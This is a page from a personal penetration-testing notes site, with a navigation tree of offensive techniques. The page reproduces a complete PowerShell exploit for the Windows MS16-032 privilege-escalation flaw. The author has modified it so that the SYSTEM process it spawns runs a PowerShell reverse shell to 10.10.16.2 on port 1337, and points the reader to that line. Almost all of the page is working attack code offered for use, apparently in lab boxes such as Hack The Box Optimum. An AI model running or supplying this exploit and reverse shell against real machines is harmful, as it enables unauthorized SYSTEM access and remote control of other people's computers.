Methodology
  • ๐Ÿ˜ƒWelcome
    • Bullet Proof Strategy
    • ๐Ÿ‘๏ธEnumeration
      • ๐Ÿ‘๏ธโ€๐Ÿ—จ๏ธ๐Ÿ‘๐Ÿ—จ Enumeration Cheatsheet
      • SNMP Enumeration
      • IRC Enumeration
      • LDAP Enumeration
      • RPC Enumeration
      • DNS Enumeration
      • Rsync Enumeration
      • IDENT Enumeration
      • SMB Enumeration
        • Copy of SMBPass Change
      • Web Enumeration
        • Methodology
        • Enumerating Patterns Trick
      • Kerberos Enumeration
    • ๐Ÿ‘บExploitation
      • Passwords Attacks
        • Decrypting VNC passwords
        • Decrypting Jenkins passwords
        • MongoDB Decryption
      • Web Applications
        • My little cheatsheet
        • Login Portal Strat
        • SQL injection
        • Local File Inclusion
        • WebDav
        • Wordpress
        • phpmyadmin
        • Bypassing Proxies
        • Node.Js Command Injection
        • Weak Cookies and Parameters
        • PHP Web Shells
        • Code Injection
        • Werkzeug
        • Collection of Vulnerable Apps
          • RaspAP 2.5 Authenticated RCE
          • ZenPhoto 1.4.1.4 RCE
          • Sonatype Nexus 3.21.1
          • Argus Surveillance DVR 4.0
          • SmarterMail + .Net Remote
          • H2 Web Console
          • Exhibitor for Zookeper (Exhibitor Web)
          • Subrion 4.2.1
          • RestStack API 3100
          • Kibana 5.6.15 < 6.6.1
          • Authenticated NodeBB Plugin Emoji 3.2.1
        • Discovering Hidden Parameters
        • ๐Ÿ•ด๏ธJenkins
      • Vulnerable Services
        • Authenticated MSSQL Shell
        • Authenticated PostgresSQL
        • Authenticated MongoDB
        • ClamAV - Milter 0.91.2
        • Unreal Tournament 99
        • MS17-10 Eternal Blue
        • REDIS Exploitation
        • OpenSMTPD < 6.6.2
        • James Adminitrator Remoting 2.3.2
      • Client Side Attacks
        • .ODT File Macros
      • Evil-WinRM
      • Methodology
      • Reversing
        • .net binaries
      • Enumerating Firewall
    • ๐Ÿ‘ฝPrivilege Escalation
      • Windows
        • Enumeration
        • Enumerate Permissions on Folders and Binaries
          • Insecure File Permissions
          • Modifiable Binary Path
          • Unquoted Service Path
        • Meterpreter Session Injection /Migration
        • โฒ๏ธScheduled Apps (CronJobs)
        • ๐Ÿฅ”Impersonation Attacks
        • ๐Ÿ—’๏ธDLL Hijacking
        • Passwords
          • Runas
            • Runas but Powershell
          • Autologon Credentials
        • AlwaysInstallElevated
        • Windows XP SP0/SP1
        • W10 Version 1803
        • Windows Vista x86 SP1
        • ๐Ÿ‘ปSMB Ghost
        • Local Service / Network Service Users
        • Dangerous Privileges
          • SeLoadDriver Privilege
          • SeRestore Privilege
          • ๐Ÿฅ”SeImpersonatePrivilege
          • SeBackUp Privilege
        • Bypassing AV
        • Port Forwarding to access Internal services
        • Start Up Apps
        • Other Users
        • Resources
        • M16-032
        • Upgrading Powershell to Meterpreter
      • Linux
        • Enumerating SUID binaries
          • Find SUID
          • CP SUID
          • dosbox SUID
          • start-stop-daemon SUID
          • gcore SUID
        • Fail2Ban Group
        • Upgrading TTY Shells
        • Git Repository
        • Escaping RBASH
        • Docker
        • Init, Init.d , systemd
        • Shared Objects .so Hijacking
        • Sudo Version - CVE 2021-4034
        • Tar Wilcard Injection
        • Tips to become root
        • Python based applications escalation
        • Internal Services
          • mySQL
            • MySQL User Defined Function
        • Writable Passwd
        • Exiftool Priv Esc
        • Glusterd + Docker Container Breakout
        • choom
        • Slack
      • File Transfer Methods
        • Windows
        • Linux
      • Pivoting
    • ๐Ÿ’€Elevated Post Exploitation
    • ๐ŸŸฆActive Directory
      • Attack Vectors
        • LLMNR Poisoning
        • ASREPRoast
        • Spraying
          • SMBPass Change
        • Building Userbase
        • NTLM Relay Attack
        • IPv6 Takeover
      • Post Exploitation - Enumeration
        • Bloodhound
        • Enumeration - Powerview
      • Exploitation
        • Kerberoasting
        • GMSA Password Read
        • Account Operators
        • WriteDACL over DCSync
        • GenericWrite GPO
        • PS-Remoting
        • LAPS Password Read
        • Abusing ACLs
          • GenericWrite/GenericAll/AllExtendedRights over Users
        • Groups.xml
        • Azure AD Sync Dump
        • AD Recycle Bin Group
        • Get-ChangesAll
        • WriteOwner Over Domain Admins
        • Allowed to Delegate To:
        • Force Change Password
      • Resources
    • ๐Ÿ˜ŽWalkthroughs
      • ๐ŸชจProving Grounds
      • ๐Ÿ“—Hack The Box
        • Windows
        • Linux
    • Cert Pictures :)
    • ๐ŸPython Lessons
      • Jenkins Script Groovy Console Exploit in Python
      • Kerbrute Automation
    • ๐ŸšBash Lessons
    • C# Programming
      • Process Injection Code
Powered by GitBook
On this page
  1. Welcome
  2. Privilege Escalation
  3. Windows

M16-032

PreviousResourcesNextUpgrading Powershell to Meterpreter

Last updated 2 years ago

Notice the REVERSE SHELL LINE ON THE CODE

function Invoke-MS16-032 {
<#
.SYNOPSIS
    
    PowerShell implementation of MS16-032. The exploit targets all vulnerable
    operating systems that support PowerShell v2+. Credit for the discovery of
    the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
    
    Targets:
    
    * Win7-Win10 & 2k8-2k12 <== 32/64 bit!
    * Tested on x32 Win7, x64 Win8, x64 2k12R2
    
    Notes:
    
    * In order for the race condition to succeed the machine must have 2+ CPU
      cores. If testing in a VM just make sure to add a core if needed mkay.
    * Want to know more about MS16-032 ==>
      https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html

.DESCRIPTION
	Author: Ruben Boonen (@FuzzySec)
	Blog: http://www.fuzzysecurity.com/
	License: BSD 3-Clause
	Required Dependencies: PowerShell v2+
	Optional Dependencies: None
    
.EXAMPLE
	C:\PS> Invoke-MS16-032
#>
	Add-Type -TypeDefinition @"
	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;
	using System.Security.Principal;
	
	[StructLayout(LayoutKind.Sequential)]
	public struct PROCESS_INFORMATION
	{
		public IntPtr hProcess;
		public IntPtr hThread;
		public int dwProcessId;
		public int dwThreadId;
	}
	
	[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
	public struct STARTUPINFO
	{
		public Int32 cb;
		public string lpReserved;
		public string lpDesktop;
		public string lpTitle;
		public Int32 dwX;
		public Int32 dwY;
		public Int32 dwXSize;
		public Int32 dwYSize;
		public Int32 dwXCountChars;
		public Int32 dwYCountChars;
		public Int32 dwFillAttribute;
		public Int32 dwFlags;
		public Int16 wShowWindow;
		public Int16 cbReserved2;
		public IntPtr lpReserved2;
		public IntPtr hStdInput;
		public IntPtr hStdOutput;
		public IntPtr hStdError;
	}
	
	[StructLayout(LayoutKind.Sequential)]
	public struct SQOS
	{
		public int Length;
		public int ImpersonationLevel;
		public int ContextTrackingMode;
		public bool EffectiveOnly;
	}
	
	public static class Advapi32
	{
		[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
		public static extern bool CreateProcessWithLogonW(
			String userName,
			String domain,
			String password,
			int logonFlags,
			String applicationName,
			String commandLine,
			int creationFlags,
			int environment,
			String currentDirectory,
			ref  STARTUPINFO startupInfo,
			out PROCESS_INFORMATION processInformation);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool SetThreadToken(
			ref IntPtr Thread,
			IntPtr Token);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool OpenThreadToken(
			IntPtr ThreadHandle,
			int DesiredAccess,
			bool OpenAsSelf,
			out IntPtr TokenHandle);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool OpenProcessToken(
			IntPtr ProcessHandle, 
			int DesiredAccess,
			ref IntPtr TokenHandle);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public extern static bool DuplicateToken(
			IntPtr ExistingTokenHandle,
			int SECURITY_IMPERSONATION_LEVEL,
			ref IntPtr DuplicateTokenHandle);
	}
	
	public static class Kernel32
	{
		[DllImport("kernel32.dll")]
		public static extern uint GetLastError();
	
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern IntPtr GetCurrentProcess();
	
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern IntPtr GetCurrentThread();
		
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern int GetThreadId(IntPtr hThread);
		
		[DllImport("kernel32.dll", SetLastError = true)]
		public static extern int GetProcessIdOfThread(IntPtr handle);
		
		[DllImport("kernel32.dll",SetLastError=true)]
		public static extern int SuspendThread(IntPtr hThread);
		
		[DllImport("kernel32.dll",SetLastError=true)]
		public static extern int ResumeThread(IntPtr hThread);
		
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool TerminateProcess(
			IntPtr hProcess,
			uint uExitCode);
	
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool CloseHandle(IntPtr hObject);
		
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool DuplicateHandle(
			IntPtr hSourceProcessHandle,
			IntPtr hSourceHandle,
			IntPtr hTargetProcessHandle,
			ref IntPtr lpTargetHandle,
			int dwDesiredAccess,
			bool bInheritHandle,
			int dwOptions);
	}
	
	public static class Ntdll
	{
		[DllImport("ntdll.dll", SetLastError=true)]
		public static extern int NtImpersonateThread(
			IntPtr ThreadHandle,
			IntPtr ThreadToImpersonate,
			ref SQOS SecurityQualityOfService);
	}
"@
	
	function Get-ThreadHandle {
		# StartupInfo Struct
		$StartupInfo = New-Object STARTUPINFO
		$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
		$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
		$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
		$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
		$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
		
		# ProcessInfo Struct
		$ProcessInfo = New-Object PROCESS_INFORMATION
		
		# CreateProcessWithLogonW --> lpCurrentDirectory
		$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
		
		# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
		$CallResult = [Advapi32]::CreateProcessWithLogonW(
			"user", "domain", "pass",
			0x00000002, "C:\Windows\System32\cmd.exe", "",
			0x00000004, $null, $GetCurrentPath,
			[ref]$StartupInfo, [ref]$ProcessInfo)
		
		# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
		$lpTargetHandle = [IntPtr]::Zero
		$CallResult = [Kernel32]::DuplicateHandle(
			$ProcessInfo.hProcess, 0x4,
			[Kernel32]::GetCurrentProcess(),
			[ref]$lpTargetHandle, 0, $false,
			0x00000002)
		
		# Clean up suspended process
		$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
		
		$lpTargetHandle
	}
	
	function Get-SystemToken {
		echo "`n[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($hThread))).ProcessName)"
	
		$CallResult = [Kernel32]::SuspendThread($hThread)
		if ($CallResult -ne 0) {
			echo "[!] $hThread is a bad thread, exiting.."
			Return
		} echo "[+] Thread suspended"
		
		echo "[>] Wiping current impersonation token"
		$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, [IntPtr]::Zero)
		if (!$CallResult) {
			echo "[!] SetThreadToken failed, exiting.."
			$CallResult = [Kernel32]::ResumeThread($hThread)
			echo "[+] Thread resumed!"
			Return
		}
		
		echo "[>] Building SYSTEM impersonation token"
		# SecurityQualityOfService struct
		$SQOS = New-Object SQOS
		$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
		$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
		# Undocumented API's, I like your style Microsoft ;)
		$CallResult = [Ntdll]::NtImpersonateThread($hThread, $hThread, [ref]$sqos)
		if ($CallResult -ne 0) {
			echo "[!] NtImpersonateThread failed, exiting.."
			$CallResult = [Kernel32]::ResumeThread($hThread)
			echo "[+] Thread resumed!"
			Return
		}
		
		# Null $SysTokenHandle
		$script:SysTokenHandle = [IntPtr]::Zero

		# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
		$CallResult = [Advapi32]::OpenThreadToken($hThread, 0x0006, $false, [ref]$SysTokenHandle)
		if (!$CallResult) {
			echo "[!] OpenThreadToken failed, exiting.."
			$CallResult = [Kernel32]::ResumeThread($hThread)
			echo "[+] Thread resumed!"
			Return
		}
		
		echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
		echo "[+] Resuming thread.."
		$CallResult = [Kernel32]::ResumeThread($hThread)
	}
	
	# main() <--- ;)
	$ms16032 = @"
	 __ __ ___ ___   ___     ___ ___ ___ 
	|  V  |  _|_  | |  _|___|   |_  |_  |
	|     |_  |_| |_| . |___| | |_  |  _|
	|_|_|_|___|_____|___|   |___|___|___|
	                                    
	               [by b33f -> @FuzzySec]
"@
	
	$ms16032
	
	# Check logical processor count, race condition requires 2+
	echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
	if ($([System.Environment]::ProcessorCount) -lt 2) {
		echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
		Return
	}
	
	echo "[>] Duplicating CreateProcessWithLogonW handle"
	$hThread = Get-ThreadHandle
	
	# If no thread handle is captured, the box is patched
	if ($hThread -eq 0) {
		echo "[!] No valid thread handle was captured, exiting!`n"
		Return
	} else {
		echo "[?] Done, using thread handle: $hThread"
	} echo "`n[*] Sniffing out privileged impersonation token.."
	
	# Get handle to SYSTEM access token
	Get-SystemToken
	
	# If we fail a check in Get-SystemToken, exit
	if ($SysTokenHandle -eq 0) {
		Return
	}
	
	echo "`n[*] Sniffing out SYSTEM shell.."
	echo "`n[>] Duplicating SYSTEM token"
	$hDuplicateTokenHandle = [IntPtr]::Zero
	$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
	
	# Simple PS runspace definition
	echo "[>] Starting token race"
	$Runspace = [runspacefactory]::CreateRunspace()
	$StartTokenRace = [powershell]::Create()
	$StartTokenRace.runspace = $Runspace
	$Runspace.Open()
	[void]$StartTokenRace.AddScript({
		Param ($hThread, $hDuplicateTokenHandle)
		while ($true) {
			$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, $hDuplicateTokenHandle)
		}
	}).AddArgument($hThread).AddArgument($hDuplicateTokenHandle)
	$AscObj = $StartTokenRace.BeginInvoke()
	
	echo "[>] Starting process race"
	# Adding a timeout (10 seconds) here to safeguard from edge-cases
	$SafeGuard = [diagnostics.stopwatch]::StartNew()
	while ($SafeGuard.ElapsedMilliseconds -lt 10000) {

		# StartupInfo Struct
		$StartupInfo = New-Object STARTUPINFO
		$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
		
		# ProcessInfo Struct
		$ProcessInfo = New-Object PROCESS_INFORMATION
		
		# CreateProcessWithLogonW --> lpCurrentDirectory
		$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
		
		# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
		$CallResult = [Advapi32]::CreateProcessWithLogonW(
			"user", "domain", "pass",
			0x00000002, "C:\Windows\System32\cmd.exe", "",
			0x00000004, $null, $GetCurrentPath,
			[ref]$StartupInfo, [ref]$ProcessInfo)
		$CallResult = [Advapi32]::CreateProcessWithLogonW(
			"user", "domain", "pass",
			0x00000002, 
			'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe', 
			'-NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "&{$client = New-Object System.Net.Sockets.TCPClient(\"10.10.16.2\",1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"^> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}"',
			0x00000004, $null, $GetCurrentPath,
			[ref]$StartupInfo, [ref]$ProcessInfo)
		
		#---
		# Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
		#---
		# Missing this check used to cause the exploit to fail sometimes.
		# If CreateProcessWithLogon fails OpenProcessToken won't succeed
		# but we obviously don't have a SYSTEM shell :'( . Should be 100%
		# reliable now!
		#---
		if (!$CallResult) {
			continue
		}
			
		$hTokenHandle = [IntPtr]::Zero
		$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
		# If we can't open the process token it's a SYSTEM shell!
		if (!$CallResult) {
			echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
			$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
			$StartTokenRace.Stop()
			$SafeGuard.Stop()
			Return
		}
			
		# Clean up suspended process
		$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)

	}
	
	# Kill runspace & stopwatch if edge-case
	$StartTokenRace.Stop()
	$SafeGuard.Stop()
}Invoke-MS16-032wer
๐Ÿ˜ƒ
๐Ÿ‘ฝ
Hack The Box - Optimum (Without Metasploit)rizemonโ€™s blog
HTB: Optimum0xdf hacks stuff
Windows Privilege EscalationPuckieStyle
FOLLOW THIS ONE
Logo
Logo
Logo